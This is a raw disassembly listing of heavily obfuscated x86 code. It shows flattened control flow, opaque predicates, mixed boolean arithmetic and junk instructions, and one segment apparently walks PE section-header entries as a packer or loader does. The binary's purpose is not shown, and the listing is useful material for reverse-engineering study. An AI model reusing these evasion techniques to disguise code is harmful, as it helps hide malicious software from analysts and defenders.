mov byte [ebp - 0x425], al
mov al, byte [ebp - 0x426]
or dl, al
mov al, byte [ebp - 0x425]
or bh, al
mov al, byte [ebp - 0x424]
xor dl, bh
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov ah, bl
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or ah, ch
or cl, dl
xor ah, cl
mov cl, bl
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 1
or cl, ch
or dl, 1
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
and dl, 1
or ch, dl
mov bh, 1
xor bh, 1
mov dl, ch
xor dl, bh
and dl, ch
mov byte [ebp - 0x420], dl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x421], dl
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 0
and dl, 0
and al, ch
mov byte [ebp - 0x423], al
mov al, bh
and al, 0
mov byte [ebp - 0x422], al
mov al, byte [ebp - 0x423]
and cl, ch
or dl, al
mov al, byte [ebp - 0x422]
or al, cl
mov cl, byte [ebp - 0x421]
xor dl, al
mov al, byte [ebp - 0x420]
or cl, bh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or ch, dl
or al, cl
xor ch, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
mov bh, dl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, bh
or al, dl
xor ah, al
mov dl, 1
xor dl, 0
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x3e8], al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or cl, al
mov bh, 1
xor bh, 0
and bh, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, ah
or al, dl
xor bh, al
mov byte [ebp - 0x41f], bh
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov byte [ebp - 0x41a], al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
mov byte [ebp - 0x41e], al
and cl, ah
mov al, bh
and al, 0
mov byte [ebp - 0x41d], al
mov al, byte [ebp - 0x41f]
and al, ah
mov byte [ebp - 0x41c], al
mov al, byte [ebp - 0x41e]
or al, cl
mov cl, byte [ebp - 0x41d]
mov byte [ebp - 0x41b], al
mov al, byte [ebp - 0x41c]
or cl, al
mov al, byte [ebp - 0x41b]
xor al, cl
mov cl, byte [ebp - 0x41a]
or dl, bh
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov byte [ebp - 0x415], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x416], al
mov bh, 1
xor bh, 1
mov ah, dl
and ah, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0x419], al
mov al, byte [ebp - 0x416]
and al, 0xff
mov byte [ebp - 0x418], al
mov al, byte [ebp - 0x419]
and cl, bh
or ah, al
mov al, byte [ebp - 0x418]
or al, cl
mov cl, byte [ebp - 0x417]
xor ah, al
mov al, byte [ebp - 0x416]
or dl, al
mov al, byte [ebp - 0x415]
xor dl, 0xff
or bh, 1
and dl, bh
or ah, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and al, bh
mov byte [ebp - 0x414], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x413], al
mov al, byte [ebp - 0x414]
and bh, 1
or dl, al
mov al, byte [ebp - 0x413]
or al, bh
mov bh, byte [ebp - 0x3e8]
xor dl, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov byte [ebp - 0x407], al
mov dl, bh
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and bh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, bh
or al, ah
xor dl, al
mov al, cl
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, cl
and al, dl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov al, dl
and al, bh
xor dl, bh
or al, dl
mov byte [ebp - 0x40e], al
mov dl, 1
xor dl, 0
mov byte [ebp - 0x410], dl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x40f], al
mov bh, 1
xor bh, 0
and dl, 0
mov al, bh
and al, 0
mov byte [ebp - 0x412], al
mov al, byte [ebp - 0x40f]
and al, 0
mov byte [ebp - 0x411], al
mov al, byte [ebp - 0x412]
and cl, bh
or dl, al
mov al, byte [ebp - 0x411]
or al, cl
mov cl, byte [ebp - 0x410]
xor dl, al
mov al, byte [ebp - 0x40f]
or cl, al
mov al, byte [ebp - 0x40e]
xor cl, 0xff
or bh, 0
and cl, bh
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and al, bh
mov bh, byte [ebp - 0x3e8]
or cl, al
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov byte [ebp - 0x3f1], al
mov dl, bl
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and bl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, bl
or al, cl
xor dl, al
mov bl, bh
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and bh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, bh
or al, cl
xor bl, al
mov cl, 1
xor cl, 0
and cl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov byte [ebp - 0x40d], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x40c], al
mov al, byte [ebp - 0x40d]
and bh, 1
or cl, al
mov al, byte [ebp - 0x40c]
or al, bh
xor cl, al
mov al, dl
and al, bl
xor dl, bl
or al, dl
mov byte [ebp - 0x408], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x409], al
mov bh, 1
xor bh, 1
mov bl, dl
and bl, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0x40b], al
mov al, byte [ebp - 0x409]
and al, 0xff
mov byte [ebp - 0x40a], al
mov al, byte [ebp - 0x40b]
and cl, bh
or bl, al
mov al, byte [ebp - 0x40a]
or al, cl
mov cl, byte [ebp - 0x409]
xor bl, al
mov al, byte [ebp - 0x408]
or dl, cl
mov cl, byte [ebp - 0x407]
xor dl, 0xff
or bh, 1
and dl, bh
or bl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and al, bh
or dl, al
xor dl, 0xff
xor bl, 0xff
mov al, 1
xor al, 0
or dl, bl
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and cl, bl
or al, cl
mov byte [ebp - 0x3fd], al
mov al, ah
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov cl, ah
and cl, bh
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0x407]
or bl, bh
xor al, bl
mov byte [ebp - 0x401], al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
mov bh, al
and bh, 0
mov byte [ebp - 0x406], bh
mov bh, 1
xor bh, 1
and bh, 0xff
and al, 1
mov byte [ebp - 0x405], al
mov al, byte [ebp - 0x406]
or bl, al
mov al, byte [ebp - 0x405]
or bh, al
mov al, byte [ebp - 0x3fd]
xor bl, bh
mov byte [ebp - 0x3fa], bl
xor al, 0xff
mov bh, 1
xor bh, 0
mov bl, 1
xor bl, 0
or al, bh
mov bh, byte [ebp - 0x3fa]
or bl, 0
xor al, 0xff
and al, bl
xor cl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
or cl, bh
mov bh, byte [ebp - 0x3fa]
or bl, 0
xor cl, 0xff
and cl, bl
mov bl, byte [ebp - 0x401]
mov byte [ebp - 0x404], cl
mov cl, 1
xor cl, 0
xor bl, cl
mov cl, byte [ebp - 0x401]
and bl, cl
mov cl, byte [ebp - 0x404]
mov byte [ebp - 0x3fe], bl
xor ah, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
or ah, bh
or bl, 1
xor ah, 0xff
and ah, bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x400], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x3ff], cl
mov bl, bh
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x404]
mov byte [ebp - 0x403], al
mov al, byte [ebp - 0x400]
and al, 0xff
mov byte [ebp - 0x402], al
mov al, byte [ebp - 0x3ff]
and cl, al
mov al, byte [ebp - 0x403]
or bl, al
mov al, byte [ebp - 0x402]
or al, cl
mov cl, byte [ebp - 0x401]
xor bl, al
mov al, byte [ebp - 0x400]
or bh, al
mov al, byte [ebp - 0x3ff]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x3fe]
or bl, bh
mov bh, al
and bh, ah
xor al, ah
or bh, al
mov al, bl
xor al, 0xff
mov ah, bh
and ah, al
mov al, byte [ebp - 0x3fd]
xor bh, 0xff
and bl, bh
or ah, bl
mov byte [ebp - 0x3f4], ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x3f9], bh
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
and bh, 0
and al, ah
mov byte [ebp - 0x3fc], al
mov al, bl
and al, 0
mov byte [ebp - 0x3fb], al
mov al, byte [ebp - 0x3fc]
and cl, ah
or bh, al
mov al, byte [ebp - 0x3fb]
or al, cl
mov cl, byte [ebp - 0x3fa]
xor bh, al
mov al, byte [ebp - 0x3f9]
or al, bl
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and bh, bl
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or al, bh
or ah, bl
xor al, ah
mov byte [ebp - 0x3f6], al
mov ah, 1
xor ah, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x3f5], al
mov bh, 1
xor bh, 1
mov bl, ah
and bl, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0x3f8], al
mov al, byte [ebp - 0x3f5]
and al, 0xff
mov byte [ebp - 0x3f7], al
mov al, byte [ebp - 0x3f8]
and cl, bh
or bl, al
mov al, byte [ebp - 0x3f7]
or al, cl
mov cl, byte [ebp - 0x3f6]
xor bl, al
mov al, byte [ebp - 0x3f5]
or ah, al
mov al, byte [ebp - 0x3f4]
xor ah, 0xff
or bh, 1
and ah, bh
or bl, ah
xor cl, 0xff
xor bl, 0xff
mov ah, 1
xor ah, 1
or cl, bl
or ah, 1
xor cl, 0xff
and cl, ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x3f0], bh
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
and bh, 0
and al, ah
mov byte [ebp - 0x3f3], al
mov al, bl
and al, 0
mov byte [ebp - 0x3f2], al
mov al, byte [ebp - 0x3f3]
and cl, ah
or bh, al
mov al, byte [ebp - 0x3f2]
or al, cl
mov cl, byte [ebp - 0x3f1]
xor bh, al
mov al, byte [ebp - 0x3f0]
or al, bl
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov al, dl
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov bl, cl
xor bl, 0xff
mov al, dl
and al, bl
xor dl, 0xff
and cl, dl
or al, cl
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x3ed], bl
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 0
and bl, 0
and ah, cl
mov byte [ebp - 0x3ef], ah
mov ah, dl
and ah, 0
and al, cl
mov byte [ebp - 0x3ee], al
mov al, byte [ebp - 0x3ef]
or bl, al
mov al, byte [ebp - 0x3ee]
or ah, al
mov al, byte [ebp - 0x3ed]
xor bl, ah
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or bl, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ah, bh
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
mov al, bl
xor al, cl
and al, bl
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and bl, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, bl
or cl, ah
xor dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x3ec], dl
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov bl, ah
and bl, 0
and bh, cl
or dl, al
mov al, byte [ebp - 0x3ec]
or bl, bh
xor dl, bl
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov cl, ch
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov ah, dh
xor ah, 0xff
and ah, 0
mov bl, 1
xor bl, 0
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
or ah, dh
or cl, ch
xor ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov ah, dh
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov bl, 1
xor bl, 1
mov cl, ah
xor cl, bl
and cl, ah
mov byte [ebp - 0x3e9], cl
mov ah, 1
xor ah, 1
xor dh, 0xff
mov cl, 1
xor cl, 1
or ah, dh
or cl, 1
xor ah, 0xff
and ah, cl
mov cl, ch
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, cl
and dh, 0xff
and ch, bl
mov byte [ebp - 0x3eb], ch
mov ch, bh
and ch, 0xff
and al, bl
mov byte [ebp - 0x3ea], al
mov al, byte [ebp - 0x3eb]
or dh, al
mov al, byte [ebp - 0x3ea]
or ch, al
mov al, byte [ebp - 0x3e9]
xor dh, ch
mov ch, byte [ebp - 0x3e8]
or cl, bh
xor cl, 0xff
or bl, 1
and cl, bl
or dh, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bl
or ah, dh
or al, cl
xor ah, al
mov al, ch
xor al, 0xff
xor al, 0
and al, 0
mov bh, 1
xor bh, 0
and bh, 0
mov bl, 1
xor bl, 0
mov dh, bl
and dh, 0
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
or bh, dh
or cl, ch
xor bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x3e7], dh
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 1
and dh, 0xff
and al, cl
mov bl, ch
and bl, 0xff
and bh, cl
or dh, al
mov al, byte [ebp - 0x3e7]
or bl, bh
xor dh, bl
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, ah
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
mov dh, ah
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x83e0ebe4
mov ecx, 0x52df660e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xf8]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.005fadc0
add esp, 0xc
imul eax
rcr eax, 0xa2
imul edx
inc ebx
bswap edi
rcl edi, 0x50
not ebx
ror edx, 0x53
sub edi, 0xcf
inc ebx
bswap eax
ror edx, 0x77
rol esi, 0x46
and esi, 0xe4
bswap eax
imul ebx
neg esi
not ebx
rcr edi, 0xe7
rcr edi, 0x64
sbb edi, 0xa5
or edi, 0x66
dec edi
inc ebx
not edx
ror eax, 0x19
imul eax
not edi
mov esi, 0xda
neg edi
dec edx
and esi, 0x8a
sbb eax, 0x8b
sbb edx, 0x88
inc esi
or edx, 0x75
and ebx, 0x97
rcr esi, 0xf9
not eax
inc esi
sbb eax, 0x92
inc ebx
sub esi, 0x9d
neg edx
add esi, 0x6f
ror eax, 0x77
rcl edx, 0x99
mov edi, 0x1c
bswap esi
sub ebx, 0x44
imul esi
bswap edi
rcl edi, 0x49
dec ebx
not ebx
or eax, 0x8e
bswap edi
inc edi
and ebx, 0xb3
sbb eax, 0x2b
rcr edx, 0x87
not edi
imul edx
mov edx, 0xa5
inc esi
rol eax, 9
neg edx
sbb ebx, 0xa4
add edi, 0xd6
bswap ebx
imul edi
dec esi
mov esi, 0x5e
sub eax, 0xbc
bswap ebx
bswap edi
imul edi
and esi, 0x97
or esi, 0x7d
inc eax
neg esi
sbb edi, 0xa0
rol esi, 0x83
neg esi
sub edi, 0x1e
neg edi
or esi, 0x97
rcr edi, 0xa5
ror edx, 0x47
sbb eax, 0xea
imul edx
inc esi
bswap edx
sbb edx, 0xba
ror esi, 0xb4
and eax, 0x8d
bswap edi
and ebx, 0xd6
rcr edi, 8
or edi, 0x5f
rcr edi, 0x17
or edx, 0xaa
bswap ebx
inc esi
ror eax, 0x98
ror eax, 9
sub ebx, 0x5a
not esi
sub edi, 0xae
mov edx, 0x2d
not esi
rcr esi, 0x8a
not esi
rcl esi, 0x6e
not eax
add esi, 0xfa
neg ebx
sbb edx, 0x7f
not esi
neg esi
imul edx
rcr esi, 0x30
imul eax
bswap edx
add ebx, 0x66
mov edi, 0xc7
rcl eax, 0x5a
not esi
not edx
add edi, 0xf4
dec edx
imul edx
and edx, 0x3f
inc edx
imul esi
and ebx, 0xe1
not edi
add ebx, 0xd6
or edi, 0x18
imul edx
dec eax
imul ebx
sbb edi, 0x84
or eax, 0xfd
ror edi, 0x3a
rol ebx, 0xd6
add edi, 0x8b
rcr ebx, 0xe8
dec esi
neg edx
mov ecx, eax
mov eax, dword [ebp - 0x1b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x404b05b0
add eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0xcca9a38d
sub ecx, 0x6309adeb
sub ecx, 0xcca9a38d
xor eax, eax
sub eax, 0x404b05b0
add ecx, eax
xor eax, eax
sub eax, 0xc9c42c43
add ecx, eax
xor eax, eax
sub eax, 0x18
sub ecx, eax
add ecx, 0x8da66606
add ecx, 0xc9c42c43
sub ecx, 0x8da66606
xor eax, eax
sub eax, 0x253da719
sub eax, 0x6309adeb
add eax, 0x253da719
sub ecx, 0x550f0ac1
sub ecx, eax
add ecx, 0x550f0ac1
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, 0xe3c282c2
sub eax, 0x4750eaa
add eax, 0xe3c282c2
sub eax, 0x440a6e18
sub eax, edx
add eax, 0x440a6e18
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0x4750eaa
add edx, eax
xor eax, eax
sub eax, edx
sub ecx, 0xf3472b21
sub ecx, 0xb567d9a3
add ecx, 0xf3472b21
add ecx, 0xda36148f
sub ecx, eax
sub ecx, 0xda36148f
sub ecx, 0x2f88d795
add ecx, 0xb567d9a3
add ecx, 0x2f88d795
mov eax, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18c]
mov dword [eax], 0
mov dword [ebp - 0x1c0], 0x2ac21514
jmp 0x4b1f8e
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
mov edx, eax
sub edx, 0x373d99ec
sub edx, 0x3d03a752
add edx, 0x373d99ec
xor esi, esi
sub esi, 0x6ca330ea
sub edx, esi
xor esi, esi
sub esi, 0x3d03a752
sub edx, esi
xor esi, esi
sub esi, 0xd2e1c903
add edx, esi
add edx, 0x5e33e10a
sub edx, 1
sub edx, 0x5e33e10a
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xd2e1c903
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xdd7cf570
add edx, esi
xor esi, esi
sub esi, 0x6ca330ea
add edx, esi
xor esi, esi
sub esi, 0xdd7cf570
sub edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x4a2], al
cmp ecx, 0xa
setl ch
mov bh, al
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and al, cl
or bh, al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, ch
and cl, dl
or al, cl
mov dl, 1
xor dl, 1
and dl, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, dh
or cl, ah
xor dl, cl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov cl, ah
and cl, 0xff
and bh, dh
mov byte [ebp - 0x4a4], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x4a3], al
mov al, byte [ebp - 0x4a4]
or cl, al
mov al, byte [ebp - 0x4a3]
or bh, al
mov al, byte [ebp - 0x4a2]
xor cl, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and cl, dh
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov byte [ebp - 0x4a1], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or dl, cl
xor dl, 0xff
xor dl, 0
and dl, 0
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0
or bl, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, ch
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
mov cl, ch
and cl, bh
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x4a1]
or ah, bh
xor al, ah
mov bh, 1
xor bh, 0
mov ah, al
xor ah, bh
and ah, al
xor ch, 0xff
xor bl, 0xff
mov al, 1
xor al, 0
or ch, bl
or al, 0
xor ch, 0xff
and ch, al
mov al, dl
and al, dh
xor dl, dh
or al, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov ch, al
xor ch, 0xff
mov ah, dl
and ah, ch
xor dl, 0xff
and al, dl
or ah, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ch, al
mov byte [ebp - 0x499], ch
mov bh, ah
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
mov dh, ah
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, dh
or al, dl
xor bh, al
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov dh, 1
xor dh, 1
mov al, ch
xor al, dh
and al, ch
xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or cl, dh
or ch, 1
xor cl, 0xff
and cl, ch
mov dh, 1
xor dh, 1
mov ch, bh
xor ch, dh
and ch, bh
mov byte [ebp - 0x49d], ch
xor ah, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x49e], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and al, dh
mov byte [ebp - 0x4a0], al
mov al, bl
and al, 0
mov byte [ebp - 0x49f], al
mov al, byte [ebp - 0x4a0]
and cl, dh
or ah, al
mov al, byte [ebp - 0x49f]
or al, cl
mov cl, byte [ebp - 0x49e]
xor ah, al
mov al, byte [ebp - 0x49d]
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov byte [ebp - 0x49a], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and al, dh
mov byte [ebp - 0x49c], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x49b], al
mov al, byte [ebp - 0x49c]
and cl, dh
or ah, al
mov al, byte [ebp - 0x49b]
or al, cl
mov cl, byte [ebp - 0x49a]
xor ah, al
mov al, byte [ebp - 0x499]
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and cl, ah
or bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x498], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
and cl, 0
and al, ah
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x498]
or dh, bh
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
and cl, 1
xor dl, 1
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6f2acfd0
mov ecx, 0xa6f0abc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0xe8], eax
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor esi, esi
sub esi, ecx
add esi, 0
mov edi, 0xadb418f6
add edi, 0
sub edi, 0x4aec565d
sub edi, 0xadb418f6
xor edx, edx
sub edx, edi
sub esi, edx
xor edx, edx
sub edx, 0xc0f2667c
sub edx, esi
add edx, 0xc0f2667c
add edx, 0x9f50d3c8
add edx, 0xf47278a3
sub edx, 0x9f50d3c8
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0xbe8e1071
sub edx, 0xf47278a3
add edx, 0xbe8e1071
add edx, 0x2b7aa4cf
sub edx, 0x7e89fbcb
